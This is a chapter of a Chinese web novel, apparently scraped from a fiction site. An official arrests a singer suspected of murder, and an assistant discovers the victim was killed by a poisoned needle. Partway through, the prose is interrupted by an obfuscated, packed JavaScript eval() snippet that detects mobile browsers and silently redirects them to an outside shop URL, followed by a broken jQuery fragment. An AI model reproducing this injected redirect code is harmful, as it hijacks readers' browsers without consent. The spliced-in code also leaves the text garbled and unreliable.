文趣网 > 其他小说 > 错把夫子当温良 > 49. 毒针 轻絮虽被捕
    出了宫,芙月将一只手放在额前,挡住晌午时刺眼的阳光,步履匆匆地行于正午人潮如织的街道里,心头暗潮起伏。

    她边加紧着步调,边忧心忡忡地抬头眺望碧蓝的天空,喘着粗气,以图消解心头些许的忐忑。

    她心头如有巨石般压着,担忧去了那处小院以后,得到的是自己不愿意看到的那个答案。一路上整个人都是沮丧压抑着的,神情惶恐,大脑也空白一片,迷迷糊糊地走了许久,不知不觉间也是接近了目的地。

    烈阳当空,路边嘈杂的叫卖声此起彼伏,云昌侯府前后的街道却是冷清不少。

    云轻絮那处院落的大门敞开着,里面的情况在外面看也都是一目了然。芙月一人如行尸般茫然走入,神情恍惚地站在了房门口,望着里面空荡荡的状况,半晌也没能回过神来,面色变得苍白许多,神色也愈发苍凉。

    眼前的一切,无疑不是在给她迎头一击,明晃晃地告诉了她这样一个噩耗。

    云轻絮就是杀害邹长清的凶手,是她在醉蝶楼行凶逃窜,也是她今日早晨被捉拿入廷尉府候审,这一切往着芙月最不愿意看到的一面滑落。

    她知道干愣着也无济于事,她心底是不信云轻絮会如此冲动,但又碍于不知全貌,无法肯定事情真如她所想存在隐情。只好寻思着如果想个法子见到云轻絮,问明情况方可知晓该如何做,但她现在却也只能满腔无奈地回书院去了。

    在她看不到的一处巷口,一道身影默默看着她走进走出的全程,嘴角挂起一抹微笑,一副胸有成竹的模样,抿唇笑着低语了一句:“继续去查吧,查得越彻底越好。”

    说罢,他背过身来,缓步往巷子深处挪步而去,渐渐消失在了漫无边际的黑暗里,唯余一阵极轻的笑声在巷子里悄悄萦绕不息。

    却道此时廷尉府的牢房外,两名属吏站得格外挺拔,神色严峻地屹立在门口,如同两尊门神一般,唯独眼神却来回飘着,时不时还不自觉地互相对视起来,最后则一齐瞥向了不远处来回踱步的少年身上。

    其中一人嘴唇微微蠕动,似是在说大人他这是怎么了,快一柱香了还在那儿晃悠。

    另一人撇了撇嘴,耸着肩表示看不懂这年轻人的想法,像是丢了魂一样六神无主的,完全揣度不出一点意思来。

    过了好半天,那徘徊不前的少年停止了脚步,猛地捶了捶手掌,下定决心了一般吸了口气,大步往牢房里走去。

    左右两名属吏连忙让开来,帮他打开了牢门,一人低声问道:“大人,您是要提审那位云娘子吗,我这边带您进去找她。”

    “带路吧!”

    卫兮鄞应了一声,大步跟上他的身影往里走去,后背却是冷汗直流,垂着头不太敢去见牢房里的云轻絮。

    昨日他与对方分别后,其实出了院门外并未直接走远,而是刻意等到三更半夜,街道极为安静无声时。带上院外早已等候多时的属吏们,悄无声息地走入院子里,将睡得不省人事的云轻絮给抓入廷尉府的。

    他完全能够想象得到,云轻絮此刻见到他时会有多不解失望与愤恨,可他便是这样一个懦弱之人,既做不到二话不说,光明正大地直接将她逮捕,更不可能明知她有嫌疑而悄悄放她离开。最后明明以官府大员身份,却行如此见不得人的手段,才将人犯缉拿归案。

    他一路跟着属吏,一同走入了牢狱深处,在属吏指示下看到了远处一个狭窄潮湿的牢房,皱了皱眉,有些不悦地侧过头来道:“不是让你们挑一间好一些的牢房的吗,等会儿记得给她换间,吃食也送些新鲜的过去。”

    “是!”属吏赶忙恭恭敬敬地低下头来,不敢直视他不悦的眼神。

    而卫兮鄞则努力使自己平静下来,捏紧拳头,走一步停一下地往那间牢房挪了过去,许久后才走到了牢房前,眼神飘忽不定地望着里头的情况。

    只一眼,他就看见云轻絮抱着腿蜷缩在角落里,内心深处不由升起怜惜之情。他无奈地叹了口气后,小心翼翼地把铁锁给打了开来,推开门来缓步走了进去。

    甫一踏入牢房里,他就被那股扑鼻而来的潮湿气呛了一下。他捏着鼻子往里小步走了走,直到来到云轻絮身前才停了下来,悬着一颗心,低声道:“云娘子,莫怪我不徇私情将你拘押进来,我终究作为廷尉,对于有嫌疑行凶之人也不能包庇的。”

    云轻絮此时则靠在湿漉漉的墙上,倚着它慢慢直起身子来,弯着眉不屑地瞥了他一眼,似是在说他做事太不真诚。素来温婉动人的双眸也冰冷了不少,显得不再荡漾人心,反而让卫兮鄞被看得愈发心虚起来,侧过头不敢直视她犀利的眼神。

    她见状则只是微微弯了弯嘴角,轻轻哼了一声,攥紧着拳头,强忍着才没直接站起身,和他好好交流一番。

    昨日夜里她其实就已经有预感,可因他一整夜如此毫不作伪的陪伴,真以为对方是没看出来什么,直到他走了以后自己是完全放下心来,睡在床榻上没多久就因白日太过劳累而睡着了。

    可万万没想到第二日睁开眼来,看到的却是牢房里滴着水珠的天花板,左右环顾许久才意识到是怎么一回事,当时她一整个人都不好了。捋清所有思绪后才明白自己被卫兮鄞给骗了,他昨夜并非是毫不知情来看望她的,是她太天真且一直自欺欺人,信了他那番鬼话,信了他拙劣的表演。

    正如他刚才所言一样,她不怪他抓自己,这是他的本职,可她不理解为什么他要欺骗自己,看着她流露完真情以后,毫不犹豫地把她悄悄捉拿,让她先体会到希望再陷入这样的痛苦绝望之中。

    见她久久沉默着,一言不发,卫兮鄞也是心知肚明,知道是自己的问题才让她再难信任他,也不愿意再开口跟他说什么。

    他无奈地叹了口气,安抚了她一句:“你别担心,待会儿我会把你送去最好的牢房里,吃穿用度也都一应俱全,这件案子我会继续深查到底。若发现任何蹊跷定然不会忽视不理的,我相信你是无辜的,但也希望你能再考虑一下,愿意配合我们。”

    说罢,他便不敢多停留片刻,当即转身离去,而云轻絮见他转过身后,才把头扭回来,静静地盯着他背影良久,直到已然看不清时,才默默地呼出一口气来。

    但她眼里的阴霾已经少了些许,反倒却又多了一丝希望,眼角一滴泪珠顺着脸颊轻轻滑落,湿漉漉的眸子闪闪发亮。

    虽说他昨夜所为让她很是不忿,可至少……至少他还愿意相信自己,至少他这位主管此案的官员还算是公正严明的,至少她眼前的这道光没有彻底熄灭,所幸她还留有一线生机。

    而卫兮鄞离开牢房后,失魂落魄地往自己的后堂走去,他不知道自己为什么情绪会如此波动,不理解从何时起云轻絮能如此影响到他的心绪。昨日夜里毫无意义的登门拜访,刚才不伦不类的审讯,无一不让他感到迷惘茫然。

    他就这样一路胡思乱想地走回了后堂,抬头间一眼便看到公冶轩静静地站在桌案边,闭上眼似是在养着神。

    听到有脚步声后,公冶轩立即睁开眼来,朝他这边看了过去,见是他回来后忙走过来,道:“大人,有一件事我还是想来跟你说一声。”

    “何事?”卫兮鄞不太在意地问道,他自打昨日把云轻絮带回廷尉府后,也没安排公冶轩干什么要紧事,故而并不太重视他会汇报什么。

    公冶轩掏出来一个布囊,将里面装着的一根冒着寒光的银针取了出来,沉声道:“大人,这根针是从死者脑后取出来的,他是死于这个而非刀伤,从这里下手兴许能排除云娘子嫌疑,说不准能判定她是重伤君侯而非杀死了对方。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673774|203943||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    卫兮鄞闻言只是叹了口气,并未抱任何希望,苦笑地说道:“一根再寻常不过的绣花针,即便说明凶器不是刀而是它,哪能改变云轻絮不是凶手吗?这完全没法洗清她的嫌疑啊,区区绣花针,闺房女子谁没有啊?”

    公冶轩却摇摇头,示意他先别急,随后解释道:“大人,我让仵作特意检查过这根针,其上附着着一种极为诡异的剧毒,能使人迅速麻痹晕厥,转瞬即可无声无息要人性命。此毒之稀少我等众人都没能识出来,不过若是在江湖打听一下说不准能找到源头。”

    闻言,卫兮鄞眼睛一亮,一拍大腿慨叹道:“这个倒还真是可以说明一些事情,云轻絮一介毫无背景的弱女子,如此奇毒确实难以整到,更何况她那时也没必要多此一举,只能是另有其人混在目击之人中,想要邹长清死才匆匆用了此招,掩人耳目。”

    但他说到这儿,眼神又是黯淡下来,苦恼地揉着头,道:“但这个却算不了实质性证据,无法彻底洗清云轻絮嫌疑,仅能在有确切证据之下加以佐证,帮助我们推理真相。”

    公冶轩也明白这一点,垂着眼眸,摇着头道:“大人,可再拖下去,陛下那儿着急的话就只能把云娘子推出去了,她先前帮您和乔娘子这么多回,不是坏人啊,如此实在是可惜了。”

    卫兮鄞忧心忡忡地低下头,低眸沉思许久,才开口道:“你也别担心,劳累了这么久先回去歇息下吧,这件事我自己也会想办法的。”

    “喏。”

    公冶轩二话不说地点起头,虽有些许不甘,还是只能听话地往外离去。

    而卫兮鄞则慵懒地瘫倒在桌案边,背靠着桌案苦思良久,却实在想不出该如何化解云轻絮的怨念,不化解的话她是真不打算和自己袒露半句话,巧妇难为无米之炊,他又如何寻找出一些突破口来?

    旭日西落,皓月将升,又是一个深沉的夜晚即将来临。在书院里备受煎熬地上完所有课后,芙月伸了伸懒腰,满脸愁容地大步离开了书院。

    她自打从云轻絮的宅子回来以后,一整个人都是魂不守舍的,苏渺渺说过今日凶手被缉拿入廷尉府,而恰好不乏嫌疑的云轻絮也没了踪影。她回来路上还特意去潇梦阁问过也没见她来,如此下来她也基本确定对方是被抓进牢里了。

    按理而言,云轻絮和她也并无过深的关系,她并没必要如此过于关心此案,她不是一个大发善心的滥情之人,但她素来最重情谊,无法做到坐怀不乱。

    不说云轻絮在她们乔家灭顶之灾时也曾帮过一把,这些时日不少接触下她们也是结下友情,故而不愿看到她因邹长清这样的烂人丢了性命。

    下午回到书院之后,她便从纳兰楠口中得知,廷尉府昨夜缉拿的人就是潇梦阁歌姬云轻絮,起初她是真不愿意相信云轻絮会杀人,笃定是有人栽赃陷害,让她背锅的。

    但一想到兔子急了还会咬人,邹长清三番五次骚扰对方,真要惹急了人,不乏存在冲动杀人的可能,这让她不由多想了一下。随后她便想起来云轻絮在案发前几日存在种种异样,像是在下定决心要做什么而压力重重,这令她也不得不重新审视起来此案,顿时越想越是疑云重重,令她难以保持平静淡定,做不到继续合理地推断下去。

    林雪汀在一节课课后,特意跟她提议不如去廷尉府一趟,她说她看得出来自己很关心此案,如若想知晓内情也因能找他们了,不然在这里胡思乱想也是无济于事的。

    芙月深感认同,故而如今课毕后抓紧时间跑出了宫,一刻也不肯耽误,打算去找卫兮鄞问个究竟,也能顺道看看能否和牢房里的云轻絮见上一面,询问一下她究竟有无动手杀人。

    并且她也很好奇她那日给自己看的那封信究竟有什么玄机?是不是与她去醉蝶楼寻邹长清也有什么渊源?